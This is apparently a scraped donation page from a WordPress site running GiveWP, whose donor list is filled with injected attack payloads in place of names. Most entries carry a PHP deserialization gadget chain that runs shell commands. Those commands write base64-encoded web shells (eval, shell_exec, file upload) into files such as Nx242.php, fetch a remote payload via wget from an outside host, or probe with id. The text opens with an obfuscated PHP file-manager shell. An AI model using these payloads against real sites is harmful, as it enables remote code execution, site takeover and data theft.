0QVx4NjJceDRBXHgzMFx4NjhceDU1XHg1Nlx4NDZceDQyXHg2Nlx4NTNceDQ1XHgzOVx4NTRceDU2XHg0M1x4NjRceDY0XHg0Rlx4NzdceDZGXHg2Qlx4NjJceDU0XHg0OVx4NzlceDQ5XHg0NFx4MzBceDY3XHg0QVx4NDdceDZDXHg3N1x4NDlceDQzXHgzNFx4NjdceDQ5XHg2OVx4NDlceDM3XHg0M1x4NjlceDUyXHg3NFx4NjNceDMyXHg2M1x4MzRceDRGXHg0NFx4NjNceDdBXHg0OVx4NDRceDMwXHg2N1x4NDlceDY5XHg1Mlx4NzRceDREXHg2QVx4NDlceDY3XHg0QVx4NDdceDQ5XHgzM1x4NEVceDUzXHg0MVx4NkJceDU5XHg1NFx4NTFceDMxXHg0OVx4NkFceDczXHg0Qlx4NjJceDU3XHg0Nlx4NzBceDYyXHg0M1x4NjdceDZCXHg1QVx4NTdceDMxXHg2OFx4NjFceDU3XHg3N1x4NzNceDQ5XHg0M1x4NTJceDdBXHg2NFx4NTdceDRBXHg3MVx4NEZceDU0XHg2N1x4NzNceDQ5XHg0M1x4NTJceDc0XHg2M1x4MzJceDYzXHgzNFx4NEZceDQ0XHg2M1x4N0FceDRDXHg0M1x4NDFceDZCXHg1QVx4NkVceDRBXHg3Nlx4NjJceDUzXHg2Qlx4MzdceDRGXHg3QVx4NzNceDNEIikpOzsKICAgIGZ1bmN0aW9uIHJlYygkaikgewogICAgICAgIGdsb2JhbCAkR05KOwogICAgICAgIGlmKHRyaW0ocGF0aGluZm8oJGosIFBBVEhJTkZPX0JBU0VOQU1FKSwgJy4nKSA9PT0gJycpIHsKICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICBpZigkR05KWzhdKCRqKSkgewogICAgICAgICAgICAkaXRlbXMgPSBAc2NhbmRpcigkaik7CiAgICAgICAgICAgIGlmKCRpdGVtcyAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW1zIGFzICRpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgaWYoJGl0ZW0gPT0gJy4nIHx8ICRpdGVtID09ICcuLicpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRwYXRoID0gJGogLiBEUyAuICRpdGVtOwogICAgICAgICAgICAgICAgICAgIGlmKCRHTkpbOF0oJHBhdGgpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJlYygkcGF0aCk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgQCRHTkpbMTBdKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgQCRHTkpbMzVdKCRqKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIEAkR05KWzEwXSgkaik7CiAgICAgICAgfQogICAgfQogICAgZnVuY3Rpb24gZHJlKCR5MSwgJHkyKSB7CiAgICAgICAgZ2xvYmFsICRHTko7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAkR05KWzE2XSgkeTEoJHkyKSk7CiAgICAgICAgcmV0dXJuICRHTkpbMzZdKCk7CiAgICB9CiAgICBmdW5jdGlvbiBoZXgoJG4pIHsKICAgICAgICAkeT0nJzsKICAgICAgICBmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKyl7CiAgICAgICAgICAgICR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkeTsKICAgIH0KICAgIGZ1bmN0aW9uIHVoZXgoJHkpIHsKICAgICAgICAkbj0nJzsKICAgICAgICBmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCR5KS0xOyAkaSs9Mil7CiAgICAgICAgICAgICRuIC49IGNocihoZXhkZWMoJHlbJGldLiR5WyRpKzFdKSk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbjsKICAgIH0KICAgIGZ1bmN0aW9uIE9LKCkgewogICAgICAgIGdsb2JhbCAkR05KLCAkZDsKICAgICAgICAkR05KWzM4XSgkR05KWzldKTsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiA/ZD0iLmhleCgkZCkuIiYxIik7CiAgICAgICAgZXhpdCgpOwogICAgfQogICAgZnVuY3Rpb24gRVIoKSB7CiAgICAgICAgZ2xvYmFsICRHTkosICRkOwogICAgICAgICRHTkpbMzhdKCRHTkpbOV0pOwogICAgICAgIGhlYWRlcigiTG9jYXRpb246ID9kPSIuaGV4KCRkKS4iJjAiKTsKICAgICAgICBleGl0KCk7CiAgICB9CiAgICBmdW5jdGlvbiB4KCRjKSB7CiAgICAgICAgZ2xvYmFsICRHTko7CiAgICAgICAgJHggPSAkR05KWzI0XSgkYyk7CiAgICAgICAgaWYoKCR4ICYgMHhDMDAwKSA9PSAweEMwMDApIHsKICAgICAgICAgICAgJHUgPSAicyI7CiAgICAgICAgfQogICAgICAgIGVsc2VpZigoJHggJiAweEEwMDApID09IDB4QTAwMCkgewogICAgICAgICAgICAkdSA9ICJsIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCgkeCAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7CiAgICAgICAgICAgICR1ID0gIi0iOwogICAgICAgIH0KICAgICAgICBlbHNlaWYoKCR4ICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAgICAgJHUgPSAiYiI7CiAgICAgICAgfQogICAgICAgIGVsc2VpZigoJHggJiAweDQwMDApID09IDB4NDAwMCkgewogICAgICAgICAgICAkdSA9ICJkIjsKICAgICAgICB9CiAgICAgICAgZWxzZWlmKCgkeCAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CiAgICAgICAgICAgICR1ID0gImMiOwogICAgICAgIH0KICAgICAgICBlbHNlaWYoKCR4ICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAgICAgJHUgPSAicCI7CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkdSA9ICJ1IjsKICAgICAgICB9CiAgICAgICAgJHUgLj0gKCgkeCAmIDB4MDEwMCkgPyAiciIgOiAiLSIpOwogICAgICAgICR1IC49ICgoJHggJiAweDAwODApID8gInciIDogIi0iKTsKICAgICAgICAkdSAuPSAoKCR4ICYgMHgwMDQwKSA/ICgoJHggJiAweDA4MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA4MDApID8gIlMiIDogIi0iKSk7CiAgICAgICAgJHUgLj0gKCgkeCAmIDB4MDAyMCkgPyAiciIgOiAiLSIpOwogICAgICAgICR1IC49ICgoJHggJiAweDAwMTApID8gInciIDogIi0iKTsKICAgICAgICAkdSAuPSAoKCR4ICYgMHgwMDA4KSA/ICgoJHggJiAweDA0MDApID8gInMiIDogIngiKSA6ICgoJHggJiAweDA0MDApID8gIlMiIDogIi0iKSk7CiAgICAgICAgJHUgLj0gKCgkeCAmIDB4MDAwNCkgPyAiciIgOiAiLSIpOwogICAgICAgICR1IC49ICgoJHggJiAweDAwMDIpID8gInciIDogIi0iKTsKICAgICAgICAkdSAuPSAoKCR4ICYgMHgwMDAxKSA/ICgoJHggJiAweDAyMDApID8gInQiIDogIngiKSA6ICgoJHggJiAweDAyMDApID8gIlQiIDogIi0iKSk7CiAgICAgICAgcmV0dXJuICR1OwogICAgfQogICAgaWYoaXNzZXQoJF9HRVRbImciXSkpIHsKICAgICAgICAkZmlsZV9wYXRoID0gJGQgLiBEUyAuIHVoZXgoJF9HRVRbImciXSk7CiAgICAgICAgJEdOSlszOF0oJEdOSls5XSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOwogICAgICAgIGhlYWRlcigiQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogQmluYXJ5Iik7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIi4kR05KWzM0XSgkZmlsZV9wYXRoKSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIudWhleCgkX0dFVFsiZyJdKS4iXCIiKTsKICAgICAgICAkR05KWzM3XSgkZmlsZV9wYXRoKTsKICAgIH0KPz4K'${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}tee${IFS}ag.php);echo${IFS}GIVEWPa041eafcd56a";}}

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:212:"echo${IFS}GIVEWP61eb329cbb33;(echo${IFS}'PD9waHAgZnVuY3Rpb24gOWQ1NmMxKCRwKXtldmFsKCRwKTt9IDlkNTZjMSgkX1BPU1RbNjY4YmU0XSk7ID8+'${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}tee${IFS}wag.php);echo${IFS}GIVEWP61eb329cbb33";}}

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:212:"echo${IFS}GIVEWPd1c363a34d17;(echo${IFS}'PD9waHAgZnVuY3Rpb24gZDYwMDU0KCRwKXtldmFsKCRwKTt9IGQ2MDA1NCgkX1BPU1RbMjYxY2U4XSk7ID8+'${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}tee${IFS}ngx.php);echo${IFS}GIVEWPd1c363a34d17";}}

04/09/2026

Amount Donated
$10.00
DO

Donor O:5:"TCPDF":2:{s:7:"file_id";s:12:"w02g3ouqvjz4";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:39:"GiveTestDataFactoriesDonationFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:523:"printf %s 'PD9waHAgZWNobyAiTngtekQiO2lmKGlzc2V0KCRfR0VUWyJjIl0pKXtlY2hvICI8cHJlPiIuc2hlbGxfZXhlYygkX0dFVFsiYyJdKS4iPC9wcmU+Ijt9aWYoaXNzZXQoJF9QT1NUWyJjIl0pKXtlY2hvICI8cHJlPiIuc2hlbGxfZXhlYygkX1BPU1RbImMiXSkuIjwvcHJlPiI7fWlmKGlzc2V0KCRfRklMRVNbImYiXSkpeyRkPWlzc2V0KCRfUE9TVFsiZCJdKT8kX1BPU1RbImQiXToiLiI7aWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbImYiXVsidG1wX25hbWUiXSwkZC4iLyIuJF9GSUxFU1siZiJdWyJuYW1lIl0pKWVjaG8gIlVQfCIuJF9GSUxFU1siZiJdWyJuYW1lIl07ZWxzZSBlY2hvICJGQUlMIjt9Pz4=' | base64 -d | tee wp-content/uploads/Nx242.php";}}

04/09/2026

Amount Donated
$10.00
DO

Donor O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:56:"echo${IFS}GWPa634fad994fe;(id);echo${IFS}GWPa634fad994fe";}}

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:194:"echo${IFS}GIVEWPaa0f9269711e;(wget${IFS}https://lar.redentorresidencialgeriatrico.com/wp-content/plugins/v6JbQUCoQAgrZbUTtpv44T/src/ui/ka/xz.txt${IFS}-O${IFS}ak.php);echo${IFS}GIVEWPaa0f9269711e";}}

04/09/2026

Amount Donated
$10.00
CO

Checker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:21:"echo${IFS}CHKfe5ad2ce";}}

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:194:"echo${IFS}GIVEWP88dcd550c0f4;(wget${IFS}https://lar.redentorresidencialgeriatrico.com/wp-content/plugins/v6JbQUCoQAgrZbUTtpv44T/src/ui/ka/xz.txt${IFS}-O${IFS}ak.php);echo${IFS}GIVEWP88dcd550c0f4";}}

04/09/2026

Amount Donated
$10.00
DO

Donor O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:56:"echo${IFS}GWP759c1092ed55;(id);echo${IFS}GWP759c1092ed55";}}

04/09/2026

Amount Donated
$10.00
AO

Attacker O:5:"TCPDF":2:{s:7:"file_id";s:1:"x";s:9:"imagekeys";O:61:"GiveVendorsSymfonyComponentHttpFoundationSessionSession":2:{s:7:"storage";O:36:"GiveTestDataFactoriesDonorFactory":1:{s:15:"loadedProviders";a:1:{s:6:"getBag";s:6:"system";}}s:13:"attributeName";s:194:"echo${IFS}GIVEWP25b6146542b6;(wget${IFS}https://lar.redentorresidencialgeriatrico.com/wp-content/plugins/v6JbQUCoQAgrZbUTtpv44T/src/ui/ka/xz.txt${IFS}-O${IFS}ak.php);echo${IFS}GIVEWP25b6146542b6";}}

04/09/2026

Amount Donated
$10.00

Leave Your Comment

Design and Develop by Ovatheme